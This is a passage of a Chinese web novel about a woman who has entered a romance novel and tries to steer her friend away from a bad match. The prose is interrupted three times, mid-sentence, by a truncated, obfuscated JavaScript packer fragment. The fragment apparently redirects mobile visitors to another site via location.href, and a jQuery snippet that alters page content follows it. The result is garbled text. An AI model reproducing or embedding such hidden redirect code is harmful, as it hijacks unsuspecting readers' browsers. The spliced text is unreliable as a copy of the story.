那公司离他们住的地方不算近,但是离那个日料店近。季蝉衣掐着点去的,特地避开了晚高峰,但不知道是不是因为今天是周末,路上的人依然很多,堵了得有小半个钟,车子才终于缓缓开到了那个日料店外。 下了车,简离和服务员说了简离的名字和手机号,很快被带到了一个包间里。 不过有些让她意外的是,包间里除了简离之外,还有另外一个人坐在了简离对面。 等走近看清了那人的脸,季蝉衣顿时目瞪口呆如遭雷击——坐在简离前面的人竟然就是那个让她想破脑袋也绝对不可能想到的李听澜。 不是……这俩人怎么坐在一块去了?难道在她不在的这短短几个小时里,他们已经发生了什么不可挽回的事情了?? 季蝉衣记得小说里的这一段两人还没有见面呢啊,难道是她的记忆紊乱了? 或许是季蝉衣脸上诧异的表情太明显,简离笑眯眯的开了口:“蝉衣,这是我刚认识的朋友,李听澜。李先生,这是我最好的朋友季蝉衣。” 作为暗恋陆靳的人,季蝉衣当然不可能不知道陆靳发小的身份,只是她万万没想到会在这里见到他。 而且这两人在原文中不是还是女主介绍认识的吗?怎么现在自己认识上了?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527472|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李听澜笑眯眯地说:“哦,我认识季小姐。” 这下轮到简离诧异了:“你们……你们是朋友?” 季蝉衣脱口而出:“哦,算不上。他和陆靳是发小,之前见过几面,点头之交。” 简离恍然大悟道:“原来是这样。” 纪雪薇冒充季蝉衣身份以及和陆靳关系转折点都发生在简离出国之后,所以现在按照正常的时间线,简离还不知道有纪雪薇这个人,更不知道这短短一个月之内发生的事情。 而季蝉衣晕倒的事情她也刻意瞒住了简离——不是不信简离,只是不想陡生事端而已。 所以现在在简离的视角里,一切还都是照旧——季蝉衣喜欢陆靳,陆靳也逐渐开始对季蝉衣有好感。 本着好闺蜜喜欢的人的好朋友能不得罪就不得罪的想法,简离对李听澜的态度更加客气了一点。 季蝉衣拉开椅子坐在简离身边,反正事情已经不能再糟糕了,她的关注点就移到了其他事情上:“你们是怎么认识的?” 简离三言两语解释了一下:“哦,这个说来也巧,刚刚我停车的时候接了个电话,分了个神,就不小心撞到李先生的车了。李先生说车子有保险,没让我赔偿,我寻思等保险公司来也得一会儿,不如一起进来吃个饭,也算是赔罪了,就把人叫进来了。” 说着又靠在季蝉衣耳边小声说:“你不介意多个人吧?” 季蝉衣当然介意,但她不是介意多个人一起吃饭,而且介意那个人是李听澜。但事已至此,李听澜和简离该见面的还是见了,她再想阻止也没用了,还不如一直牢牢跟在两人身边,观察他们的一举一动,把一切可能的火苗扼杀在摇篮里。 在心里连连安慰自己了好几遍没事啊没事小事大不了大事死不了之后,季蝉衣强颜欢笑道:“没事啊,当然不介意。你们点菜了吗?” “点了,你再看看你有没有什么想吃的,再点两道吧。” “哦,好啊。” 季蝉衣点完菜,把菜单还给了服务员,然后拿出手机,在聊天间隙抽空偷偷给周予安发了几条消息。 “大事不妙啊大事不妙。” 那边的周予安似乎也在看手机,秒回道:“怎么了?” “这件事说来话长,总而言之就是刚刚出了个小车祸,把别人的车子撞了。” “撞了就撞了,人没事就行。你没事吧?” “我没事,不是我撞的。是简离追尾了别人的车。但这不是最重要的,最重要的是,你知道她追尾的是谁吗?” “……总不可能是圣诞老人的麋鹿吧?” “我倒希望是圣诞老人的麋鹿呢,可惜情况没那么乐观。那被追尾的车子是李听澜的。所以现在的情况是,先帝创业未半而中道崩殂,我还没来得及出手,两人已经暗度陈仓的见上了面。” “……‘暗度陈仓’不是这么用的吧?” “这不重要,重要的是他俩已经见面了,这就意味着咱们初步的计划已经胎死腹中。” 季蝉衣刚点了发送键,简离就叫她:“隔壁有家奶茶店,你想不想去买杯奶茶?” 季蝉衣摁熄了手机,抬起头道:“好啊,正好还没上菜呢,一起去吧。” 两人离开之前,简离客客气气的问李听澜:“李先生喜欢和果茶还是奶茶?” 李听澜正在看手机,闻言道:“哦,都行。麻烦简小姐了。” “没事,应该的。毕竟今天不小心撞到了李先生的车,给李先生添了这么大的麻烦,真是不好意思。” 两个人客气的相□□了点头示意,简离就和季蝉衣一起离开了。 刚一出门,简离回头看了一眼,确定没人追上来,这才长呼一口气。 她揽紧季蝉衣的胳膊,边和她一起往奶茶店走边叹气:“今天也不知道怎么回事,好端端的就追尾了,难道是觉没睡够导致大脑的反应也变得迟钝了?” 停了停,简离想到了什么,忽然拉紧了季蝉衣,一脸她又懂了的笑容,贼兮兮的问:“刚刚有外人在,我也没来得及问你。你不是喜欢陆靳吗?怎么,今天来接你的那个帅哥和你又是什么关系?” 7. Chapter7. 季蝉衣看简离这八卦的样子就忍不住发笑,她锤了一把简离挽着她的胳膊,笑道:“你想什么呢,他就是我一朋友,之前帮过我一个忙,我俩清清白白、勤勤恳恳,是纯洁的革命友谊,可千万别用你那世俗的眼光看待我们。” “真的?” “真的,这还能有假?” 简离撇了撇嘴,显然对这个回答不太满意,但是也没再继续说什么。 季蝉衣乐了:“怎么,你还真指望我和他有啥啊?” 简离想了想,真心实意的回答道:“其实吧……我说实话你可别生气啊。” “说吧,不会生气的。” “嗯……之前看你这么喜欢陆靳,我也一直不敢告诉你,其实我一直觉得陆靳这人好像有点……怎么说呢,就是有点、有点怪,你能懂我的意思吗?就是感觉怪怪的,让人打心底里有点不舒服……所以这么看的话,我其实宁愿是周予安。周予安虽然看起来不靠谱,但起码他是个正常人啊。” “……有点怪?” “就是……形容不上来,但是每次我见到他的时候,就感觉后背发凉,而且你不觉得有时候不小心和他对上视线了,浑身的寒毛都竖起来了吗?就是完全下意识的,连我也不知道究竟是为什么,但就好像是本能的有点害怕他。” 季蝉衣嘴上敷衍的说着哪有这么可怕,心里却忍不住感叹,难道这就是女人的第六感? 虽然简离和陆靳的相处不多,但她的感觉其实挺准确的。 因为陆靳这人吧,看上去有点冷,好像拒人于千里之外,而且也不太喜欢说话,但是其实他并不像表面上看起来那么的冷漠。要不是季蝉衣看过原文,恐怕也会被他的外面哄骗过去,但其实陆靳才是那个不折不扣的疯子。 不过同时季蝉衣又感叹,简离这姑娘怎么看其他人看这么准,一到自己这儿就当局者迷了? 想到这个季蝉衣就牙疼,她扭头看了一眼浑然不觉的简离,终于忍不住开口试探:“别说我了,我看你今天和这个李听澜还挺有缘的啊,刚见面就一起吃饭了。你……你对他什么印象?” 简离心不在焉的回答:“就那样啊,刚见面的陌生人还能有什么印象?” 季蝉衣松了口一口气,原本还想趁热打铁和简离说些李听澜的坏话,把简离可能的念头先掐灭在摇篮里,但是话到嘴边了,她又忽然想起来自己刚刚下意识脱口而出的“点头之交”,心里顿时无比懊丧。 她前脚刚说了不熟,后脚再说人家的坏话,这实在是有点说不过去。 季蝉衣一时间无比后悔自己嘴快,早知道观望一阵再说了,现在想向简离进献谗言都进不了了。 X的,失策了。 不过季蝉衣觉得也不用急于一时,现在看简离这样子,应该还对李听澜不感冒,她有的是时间慢慢在两人中间使绊子。 大不了到时候小事化大,大事爆炸,她化身搅屎棍把一切都搅个天翻地覆。 两个人买完奶茶,等待出餐的时候,季蝉衣拿出手机看了一眼消息。周予安十分钟前回了她的消息,她总算有时间看了。 周予安:“没关系,一个计划死了,千千万万个计划站起来了,三个臭皮匠顶个诸葛亮,咱们两个人能顶一大半的诸葛亮了。” 季蝉衣汗颜,觉得周予安这厮果是泰山崩于前而色不变,这处变不惊的模样让都她自愧不如。 “佩服佩服,看来我想到达您这种波澜不惊的境界还得修炼个几载。” “过奖过奖,其实也就一般吧。” 季蝉衣回了个表情包,正好叫到他们的号了,季蝉衣便关了手机,和简离一起过去拿了奶茶。 回去的路上,季蝉衣还想继续打探简离和李听澜的事情,又怕目的太过明显,于是先扯七扯八的稍微过渡了一下,然后才状似不经意的开口问:“对了,那你加上那个李先生的微信了吗?” “哦,加了啊。要是他的车后续再有什么问题也好联系我商量赔偿的事情嘛。” 尽管心有预料,但季蝉衣还是忍不住在心里仰天长叹,此天之亡我啊天之亡我。 见季蝉衣一脸的郁郁之色,简离奇怪的问:“怎么了吗?” “没怎么,就是觉得挺好的。” 简离不知道季蝉衣为什么突发出这种感叹,茫然地问:“……什么挺好的?” “什么都挺好的……这一切的一切都给我一种岁月乱好、岁月瞎好、岁月给我往死里好的感觉。” “……?” 回去之后,简离客气的和李听澜打了招呼,将奶茶递给了他。 简离虽然和季蝉衣私底下相处时大大咧咧无拘无束,但其实一到正事上,她做人还是非常圆滑的,要不然公司也做不到现在这个规模。 她和李听澜聊了几句之后就知道这人的身份没那么简单,反正也正好追尾了,不打不相识嘛,她当然不会放过这个结交朋友的好机会。 虽然不确定这个人会不会对她的事业有帮助,但多个朋友多条路,她正好借着这个机会再多认识一个朋友。 简离只要想和谁聊,那绝对是聊的风生水起,短短一个饭局的功夫就差不多和李听澜混熟了。李听澜走的时候,态度和蔼了很多,显然对简离的想法也已经不知不觉的变了。 季蝉衣在一旁看的那是七上八下,生怕两人擦出什么爱情的小火苗。但好在直到最后分别了,两个人也依然十分得体的把关系维持在“朋友”的界限之外。 她知道李听澜不会爱上简离的,因为书中写的很明确,从始至终他都有一个心上人,也就是另外一个女配姚以寒。 尽管姚以寒不完美、有很多小毛病、和他门不当户不对、工于心计、上不了台面……但没办法,他就是喜欢,哪怕是她不完美、哪怕所有人都不看好他们,哪怕所有人都讨厌姚以寒,可他就是喜欢,喜欢到没办法。 在穿进来之前,对季蝉衣来说,其实最让她觉得无力的不止是男女主,毕竟男女主这两人虽然一个舔狗一个眼瞎,但起码心里是有对方的,只是过程狗血又波折,两个人配一对也无可厚非。但简离和李听澜不一样。 他们是属于一个太爱了,而另外一个无动于衷。 季蝉衣相信简离最后能和李听澜在一起,仅仅因为他们是官配,是因为作者本着女主的闺蜜一定会和男主发小配平的原则才让他们在一起的,要不然哪怕简离再努力也没办法让李听澜动摇。 而且女配姚以寒做事也确实有些让人咋舌,她的品行绝对称不上多好,这样的人确实没办法和男主发小这样的身份配平。 前期姚以寒虽然做事不光彩,但也只是小打小闹,到了后面她才更加肆无忌惮,竟然敢直接放火害人。如果不是因为她做事做得太绝,再加上当时简离怀了李听澜的孩子,那么李听澜大概率依然会站在姚以寒身边,帮她挡下这一切。 所以读者们都觉得姚以寒是第三者,是个烂人,包括季蝉衣也是,她除了讨厌男女主和纪雪薇之外,最讨厌的就是这个姚以寒。 可直到现在她忽然惊觉,其实她讨厌的并不是姚以寒这个人有多么的心狠手辣,有多么的瑕疵和上不了台面。 她讨厌姚以寒,仅仅是因为她厌恶一个坏人也可以被毫无理由的深深爱着,而另外一个善良的人却不论如何都比不上。她讨厌姚以寒是因为她觉得简离是个几乎完美的人,又这么爱李听澜,所以李听澜就应该同样爱简离,而不是爱姚以寒这样又残忍又自私狭隘的人。她替简离觉得不值。 论各方面来说,和李听澜最配的确实就是简离。可没办法,爱情不是用配不配来衡量的,李听澜就是喜欢姚以寒,哪怕见过她所有的不完美,哪怕看透她所有的不堪和顽劣,他依然觉得瑕不掩瑜,依然爱她爱到无法自拔。 甚至到了后期,季蝉衣都怀疑是作者为了结局强行HE才让李听澜和简离在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527473|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起的。李听澜爱姚以寒,是爱姚以寒的所有,包括她的好与坏,善良与邪恶,他爱她的一切,胜过爱她的完美和强大。 但他爱简离,仅仅是爱简离出众的容貌和厉害的手段,他爱的是简离美好善良的部分。 到后来简离怀了孕,姚以寒被送进了监狱,他不得不和简离结婚时,也仅仅只是因为简离善良、与他门当户对,而且没有底线的爱他,所以他妥协了,权衡利弊之下,他选择了简离。 季蝉衣之前恨李听澜如此不分是非,爱上这样一个各方面都让人憎恨的人,却肆意伤害真正有优良品质的简离。 可现在季蝉衣或许是多少受到面对陆靳时的摆烂心态影响,她已经不会再为了李听澜生气了。李听澜喜欢一个满身缺点的人关她屁事?他自己犯贱失去了简离,那也是他自己活该。 李听澜对她来说完全就是一个陌生人,她才懒得管一个陌生人爱谁不爱谁呢。要不是简离,她甚至这辈子都不会和李听澜有交集,为了这么一个人生气真是不值得。 算了算了,李听澜想爱谁就爱谁吧,她才不管。但她必须得让简离及时止损,起码得明白爱李听澜简直就是自虐,原著中的她和简离都不知道姚以寒的存在,等明白过来的时候已经醒悟的太晚,一切都已经无法挽回了。 但现在不一样,现在一切都还来得及,简离还没有在这一颗树上吊死,季蝉衣还有机会帮简离改命。 简离和李听澜的车都送去修了,李听澜的助理来接他,原本李听澜想顺路送两个人一起回去,被简离客客气气的拒绝了。 简离这点眼力见还是有的,她已经知道李听澜大体居住和工作的位置,和她们正好相反,现在虽然两个人表面上已经是“朋友”的关系了,但简离知道还没真正的到朋友那一步,再说了,是她追尾了别人的车在先,再为这点小事麻烦人家就更不太好了。 季蝉衣自然也想尽量远离李听澜,见简离客气的推辞,李听澜更加客气的挽留,两人大有陷入胶着之际,连忙面不改色的扯谎:“一会儿我朋友来接我们,就不麻烦李先生了。” 李听澜本来也只是客气的提一嘴,见状立刻顺着台阶下了:“既然这样,那我也不再强留两位了。我先走了。” “好,回见。” “回见。” 李听澜的车很快绝尘而去,季蝉衣见车没影了,也慢慢放松下来,伸了个大大的懒腰:“嗷……吃饱喝足就犯困,走吧,咱们打车回去。” 季蝉衣刚拿出手机准备打开打车软件,一辆熟悉的黑色卡宴缓缓驶进她的视线。 车窗降下,露出一张分外熟悉的脸,周予安把胳膊撑在车门上,笑眯眯的朝季蝉衣吹了声口哨:“看来时间掐的刚刚好。上车吧,我送你们回去。” 见到熟人,季蝉衣眼睛一亮,几乎是掩饰不住的惊喜:“哎呦,周予安,你怎么忽然从天而降了?” “本来想出来买箱矿泉水,想到正好你们就在附近,简小姐的车子不是撞了嘛,于是就顺路来接你们了。” 简离看着周予安一脸无辜的模样,不禁一脸“你懂我也懂”的露出一个猥琐的微笑。顺路?她看倒不太对吧。刚刚买奶茶两人闲聊的时候,简离已经知道了周予安和季蝉衣住同一个小区,已知,季蝉衣小区里面就有超市,求解,为什么周予安还要专门绕远路去一个相反的地方买水呢? 某人买水是假,想没路硬顺的接人才是真的吧。 看来就算是季蝉衣对周予安没那方面的意思,那周予安却不一定没有多想。不过两个人是在她出国之后才认识的,也就说明他们也就认识了不到一个月的时间,也不知道季蝉衣会不会觉得周予安这样太热情了,会不会觉得不好意思。 ——就听见季蝉衣非常不见外的把手伸进车窗拍了拍周予安的肩膀:“怎么把你给你忘了,下次早点来知道吗?真是个小笨蛋,来这么晚,不怕我拿烟头烫你的车轮胎?” 8. Chapter8. 简离听的目瞪口呆。她不知道季蝉衣和周予安之间的渊源,所以在她的视角里,两个人才刚认识不久就可以这么熟稔的开玩笑了,当然是既意外又吃惊。 ——她之前就看出来季蝉衣和这个半路忽然出现的周予安关系很好,但还是没想到会这么好。 原本简离还担心季蝉衣这样直白会让周予安不快,但紧接着她就听见周予安笑眯眯的说:“行,霸道的季总大人,是我考虑的不周了,改明儿我负荆请罪请你吃小龙虾行了吧。” ……?这是认识半个月左右的人该有的熟稔吗? 她明明才出国短短一个月,再回来这个世界就已经开化到这种地步了吗? 季蝉衣边拉开车门边说:“这还差不多,再买杯奶茶,我要双份芋圆,不要糖。” “行,也算是狮子小开口了。你都主动说了,那我肯定要满足啊。” “多谢多谢。” “客气客气。” 两个人坐上了车,简离一下子就瘫在了后座,卸下了满身的疲惫。 车子平稳行驶了一段路,季蝉衣的视线在车内后视镜中和周予安的视线交汇,两个人交换了一下目光,周予安不动声色的开口:“怎么看起来兴致不高啊,你们今晚吃的什么?” “吃的日料,”季蝉衣主动揽过话茬,尽量让自己的话过渡的自然一点,“对了,你知道简离追尾的那人是谁吗?” 周予安配合着回答:“不知道,是谁啊?” “李听澜!” “啊,竟然是这个人吗?” “怎么,看你这表情,难道这个人不是好人?” 周予安抑扬顿挫的回答:“何止不是个好人啊,简直不是个东西!” 季蝉衣用眼神暗示周予安,哥们,太过了,稍稍收敛点。 周予安立刻语气深沉:“好吧,他其实是个东西,就是不是什么好人。” 季蝉衣循循善诱:“哦,这话怎么说?” 周予安配合的天衣无缝:“这话就说来话长了,他有个喜欢的人,喜欢的不得了,两个人在一起很久了,已经到了可以谈婚论嫁的地步。但是可惜李听澜他父母不愿意,因为他父母觉得李听澜喜欢的那个人品行有点问题,正所谓物以类聚人以群分,他父母怕自己的儿子被姚以寒——哦,姚以寒就是那个他爱到难以割舍的女朋友,怕被姚以寒带坏了,所以一直反对。李听澜和他父母抗争好几年了,双方谁也说服不了谁,一直僵持到现在。” “我去,就这么爱?” “是啊,就这么爱。” 啊,话说到这个地步,想必简离应该也在心里有个大致了解了吧,季蝉衣揉了揉太阳穴,一转头就看见简离靠在椅子上,已经睡过去了。 季蝉衣:“?” 她和周予安对视一眼,两个人脑袋上各自冒出一个大问号。 季蝉衣试探了一下,很快就发现简离是真睡熟了。 季蝉衣:“?” 这对吗? 季蝉衣双目无神,看向周予安的眼神都仿佛快要变得痴呆,喃喃地说:“合着刚刚咱们的话都白说了?” 周予安倒是很久就接受良好了:“没关系,换个方式想想,咱们以后还会有很多机会呢,这次就当排练了。” 季蝉衣重重地往后一躺,无奈的扶额苦笑:“也是,倒霉到这种地步也只能假装释然的笑一笑了。” 两个人把简离送回家,扶简离进门的时候,这人终于醒了,视线茫然的在季蝉衣和周予安身上来回打转,后知后觉想到刚刚的事情,不好意思的笑了笑:“不好意思啊,在飞机上十几个小时没睡,刚刚吃饱喝足又特别困,就没忍住睡过去了。那什么,谢谢你们把我送回来啊。” 季蝉衣好脾气的笑一笑:“没事,去睡吧孩子,啊,好好休息。” 简离没听出季蝉衣话中的咬牙切齿,还一脸贴心的说:“行了,你们也赶紧回去吧,天也不早了,你们也都早点睡。” 打哈欠好像真会传染,季蝉衣也忍不住跟着打了个哈欠,后知后觉有些疲倦了,于是也就顺势点了点头说:“确实有点困了,那我们现在回去了?” “好,拜拜。” “回见。” 和简离告别之后,季蝉衣和周予安又驾车回了自己住的地方。 等回到家,季蝉衣困的都快睁不开眼了,简单冲了个澡就上床睡觉了。 这几天季蝉衣时刻留意简离和李听澜的动静,而且时不时伙同周予安一起若有若无的在简离耳边散布一些李听澜和姚以寒有关的言论,简离在那次和李听澜的追尾事故之后似乎就和李听澜断了联系,而且她似乎并没有特别关注李听澜的动向。 这对季蝉衣来说倒是乐的看见的。因为她这一搅和,原本小说中描写的简离和李听澜的剧情被大幅度减少,两个人的接触也大大减少,本来该发生的——诸如那些让两个人感情升温的拥抱啊、互帮互助啊、英雄救美啊、对视啊那些剧情全都没有发生。 时间一长,季蝉衣也就松懈下来,心说或许也剧情已经开始改变,简离应该……应该不喜欢李听澜了。 从一开始的简离和李听澜因为追尾事件提前认识之后,季蝉衣就和周予安讨论过这个问题,两个人一致得出一个结论,那就是现在发生的事情已经和原文里描写的变得不同了,随着两个人的行为发生变化,故事的内容也会相应的发生改变。 比方说周予安提前出手,为保护季蝉衣所以设计和她提前相识了,两人猜测或许也正是因为这个看似无足轻重的改变,才致使了后面李听澜和简离的相遇也提前了。 以此类推,现在的某些行为同样或许也会导致以后的剧情发生变化,不过季蝉衣意识到这一点之后倒没有太惊慌失措,毕竟她当初选择完全抛开书中的内容时就已经早有预料了。再说了,有时候变化也是一种机遇,她把变化当成机遇就行了。 和李听澜第一次相遇之后的那半个月里,季蝉衣再也没有见过他。不仅没有李听澜,而且这段时间里也没有了纪雪薇和陆靳在她面前晃悠,更没有那些乱七八糟的男配女配过来找事,季蝉衣过得那叫一个开心快乐,无忧无虑。 她和周予安在家里尝试了自创各种甜点和烤串,偶尔还会一起调酒,无所事事的日子里,两个人已经可以熟练的自己串串烤串,并且做出五花八门但味道稂莠不齐的甜品了。 不过开心悠闲的时光向来短暂,两个人没自在太久,一道请柬打破了季师傅和周师傅采菊东篱下悠然见南山的农家乐生活。 陈既这小子过生日,陈叔叔特地给季蝉衣的父母打了电话,邀请季蝉衣过去做客。 季蝉衣的内心是拒绝的,人是绝望的。 她把手机放在一边,一脸菜色的戳弄面前的蛋糕胚,语气怏怏:“我妈让我抽时间去一趟……我真是服了,我已经找遍了各种理由,但我妈说了,陈叔叔都亲自把电话打过来了,我怎么着都得给陈叔叔一个面子,就算到时候露一露脸就开溜也行……这陈叔叔也是,还弄这么大阵仗,专门给我爸妈打电话。” 周予安倒是不觉得有什么:“人情上面的事嘛,陈叔叔这也是想通过这件事告诉你爸妈他们重视你们家呢。” 季蝉衣道:“好好好,到时候大家开开心心的包饺子,而我就成了那个无辜的炮灰……啊啊啊啊啊,现在陈既和陆靳关系好,到时候肯定会邀请陆靳,陆靳一来,那纪雪薇也肯定会跟着来,而且我记得纪雪薇好像就是在陈既的生日宴上把我……也就是把原主的第二个死对头黛秋心介绍给陈既的,这不来不要紧,来一个陆靳,后面就像是拔出萝卜带出泥一样稀里糊涂的跟来了一长串的人。最重要的是按照剧情来看,黛秋心就是陈既后期和我离心的主要原因,她在纪雪薇的挑拨离间之下一直觉得我是汉子茶,一边霸着陆靳不放一边又拴着陈既……我的老天奶,这都啥跟啥啊,苍天可鉴,我根本不想掺和进来,我一想将来要面对这么多张丑的像一桩桩冤案的脸就已经开始吃不饱穿不暖了。” “?” 周予安扶额苦笑:“虽然不知道你后半句是不是已经因为打击太大而开始胡言乱语了,但我懂你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527474|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为之前我的精神病也一触即发。” 季蝉衣一听顿时觉得热泪盈眶,立刻伸出手掌强有力的握紧了周予安的手,两个人的眼神都无比坚毅,此刻就算是容嬷嬷忽然显身拿针扎他们他们也绝不会后退一步。 在那一瞬间,仿佛天崩地裂、地动山摇、天雷勾动地火,一切尽在不言中,只有两个人甘愿为组织奉献一切的心在坚韧的跳动。 两个人无声凝视了好半晌,终于季蝉衣双唇微微颤抖,眼神含着泪,声音发抖却坚如磐石:“好兄弟——在心中!” 尽管季蝉衣真的真的真的很不想去,但没办法,季知远都已经把话说到这份上了,她再不去就有点不懂事的嫌疑了,于是季蝉衣打定主意到时候只是露露脸就离开,绝对不给任何人可乘之机。 出发之前,她没怎么犹豫就带上了周予安。 嘿嘿,反正这生日宴嘛,多一个人少一个人对陈既来说没什么大不了的,但对季蝉衣来说可就是事关重大了。 毕竟在这个她很陌生的世界里,周予安是她唯一信任的人。 两个人本来就没打算在宴会上多呆,更没有大出风头的念头,所以穿着打扮都很随便。季蝉衣穿了一条黑色连衣裙,颜色普通,样式普通,好在季蝉衣本身是个明艳大美女,所以即便是穿的如此潦草也依然有型有面,明艳动人。 周予安也不用说了,也是行走的衣服架子,就是随便扯一身穿上看起来也像是高定。 两个人驱车前往,很快在中午前来到了陈既家里。 party就设在陈既现在一个人住着的别墅里,这次没邀请长辈,只叫了陈既自己的好朋友以及很多生意场上的合作伙伴。 季蝉衣和周予安到的时候,其他人也已经陆陆续续到了大半。 别墅一楼已经用鲜花、彩带和气球装饰好了,看起来还挺喜庆的。大厅里零零散散摆着桌子,上面放着用来垫肚子的点心和小吃。 两个人和陈既打过招呼之后,不约而同的一起偷摸溜到角落里,希望千万别引起其他人——尤其是主角团的注意。 好在陈既被其他客人搅得乱的不行,根本没空和季蝉衣说话。 没一会儿,陆靳和纪雪薇就来了。 季蝉衣隔着桌子偷偷看了一眼,纪雪薇这次果然把黛秋心也一起带了过来。 季蝉衣低声和周予安咬耳朵:“又出现了一个新人物……再来一个我就可以原地飞升羽化登仙了。” 季蝉衣心说一会儿时机合适一定要赶紧开溜,要不然她这虐文女主的体质一定会招致四面八方的明枪暗箭。 陆靳他们三人到了之后,先和陈既聊了一会儿,没想到刚刚陈既没空和季蝉衣多说两句话,现在倒是有时间和他们聊天。 季蝉衣扭头又低声和周予安咬耳朵:“这就是主角光环吗?不对,一定是陈既这个家伙胳膊肘往外拐。” 停了停,她忽然冒出一个鬼点子,于是邪恶一笑,靠在周予安耳边恶魔低语:“这厮实在是可恨,不如……” 周予安以一种一模一样的反派笑容笑出声,语气也和季蝉衣一样阴恻恻的:“不如……” “不如一会儿趁他醉的时候狠狠砍他一刀!” “等他躺床上咱们就往他酒里下泻药!” “让他识人不清为非作歹四处招笑!” “今天咱们就匡扶正义替天行道!” “安总!” “衣姐!” 两个人击了下掌,彼此的眼睛里只有对自己成功押上韵的得意,没有任何对计划的质疑:“牛叉!” 此刻架起一架琴就可以直接弹奏高山流水遇知音,伯蝉衣和钟予安双手交握,彼此眼中充满了对知己的欣赏和对这个世俗无奈与挣扎。 就在两个人演到深处难舍难分的时候,陈既笑嘻嘻的脸出现在两人身旁:“我说二位,你们要不干脆直接在这结拜得了呗。” 季蝉衣回过神,一转头就看见陈既、陆靳、纪雪薇、黛秋心他们四个像是一串葡萄一样不知道什么时候忽然从地里蹦了出来。 9. Chapter9. 季蝉衣还沉浸在自己激情澎湃的感情中,她依依不舍的松开了和周予安握着的手,看着眼前不知道什么时候冒出来的主角团,一时间心里只剩下了一个念头——主角扎堆火力翻倍啊,面前这主角团这是集合准备来一波团战了?啊啊啊该来的总会来,那干脆让暴风雨来的更猛烈些吧!!! 纪雪薇首先出战,她依然穿着一身白色的裙子,小心翼翼抬头看向季蝉衣之后,又快速垂下眼睛,一双眸子泪光闪闪,看起来楚楚可怜:“熠熠姐,这几天我一直在忙,也没空去看看你,不过我听阿姨说你的身体已经恢复的差不多了,我也就放心了不少。现在你觉得怎么样,是不是已经好的差不多了,还会不会难受?” 季蝉衣笑的和蔼可亲:“谢谢你的关心,我差不多已经全好了,这段时间也特别感谢大家的问候和关照,正好现在都在这儿呢,我就一起谢了。感恩感恩。” 陈既忍不住扑哧笑出声:“好好好,就你会偷奸耍滑是吧,连谢也要一起谢?别人我管不着,但改天你得请我吃饭,好好谢谢我。” 季蝉衣已经有些习惯了陈既大大咧咧没什么分寸和她互怼的性子,在心里翻了个白眼,嘴上却说:“那是肯定啊,我忘了谁也不能忘了陈大少爷对我的帮助啊。改天我一定请你吃饭,到时候陈少爷说吃什么我们就吃什么好吗?” 陈既毫不见外的锤了一把季蝉衣:“这还差不多。行吧,那小爷我勉强笑纳。” 原著里季蝉衣和陈既从小一块长大,她一直把陈既当姐妹、当兄弟、当傻逼,就是没把陈既当成异性过。 不过陈既这性子确实很自来熟,季蝉衣穿进来之后也就和他相处过几次,却已经感觉自己好像真的是从小和陈既长起来的一样熟稔了。 季蝉衣和陈既笑闹了两句,一转头却不经意间看见了纪雪薇和黛秋心两张如出一辙的阴翳表情的脸。 不过这时候就能看出纪雪薇段位之高,她察觉到季蝉衣的视线之后,脸上的表情一下子由阴转晴。不动声色的低了一下头,再抬头时,就是一副云淡风轻笑意盎然的模样,好像刚刚只是季蝉衣的错觉。 但黛秋心的表情就没有及时收住,即便是后来好不容易止住了自己脸上厌烦的神情,也不论如何都做出云淡风轻的模样,只好用鼻子重重的哼了口气,高傲的移开视线,不看季蝉衣。 季蝉衣十分不理解黛秋心对自己的敌意从何而来。 纪雪薇偷偷讨她她能理解,这个黛秋心又来凑什么热闹? 不过她转念一想,很快就明白为什么了。 估计刚刚纪雪薇已经把黛秋心介绍给陈既了,而且看样子黛秋心也很满意陈既。黛秋心之所以对她这个态度,很大概率就是纪雪薇已经不动声色的向她灌输了某种邪恶的思想,再加上刚刚季蝉衣和陈既的互动让她把季蝉衣当成了假想敌,所以她才现在这副模样。 想通之后,季蝉衣却更觉得无语。 她在心里忿忿吐槽道,不是老姐,我们这明明就是普通朋友之间正常的相处啊,而且话又说回来,你们这不才刚认识而且还没有确定关系吗?你俩就见了个面而已,现在我和陈既说句话你就又不愿意了?你这对陌生人的占有欲也太强了吧。 季蝉衣无可奈何的低头一笑,宠溺的想,真是个磨人的小妖精。 有了纪雪薇开口,大家或多或少关心了一下季蝉衣的身体状况,然后就开始聊别的了。 外面一直有客人进来,陈既没撑多久就去招呼别人了。大家聊了一会儿,也就差不多到了开饭的时间。 陈既的别墅够大,外面带着一个小院子,大家也懒得再挪腾,干脆就直接在院子里摆了酒席。 这次来的大部分是合作伙伴,所以一顿饭基本上全是应酬。 吃过饭之后,大家陆续散了。陈既仔细叮嘱让助理把每个客人都妥帖的送走,这才有时间松口气。 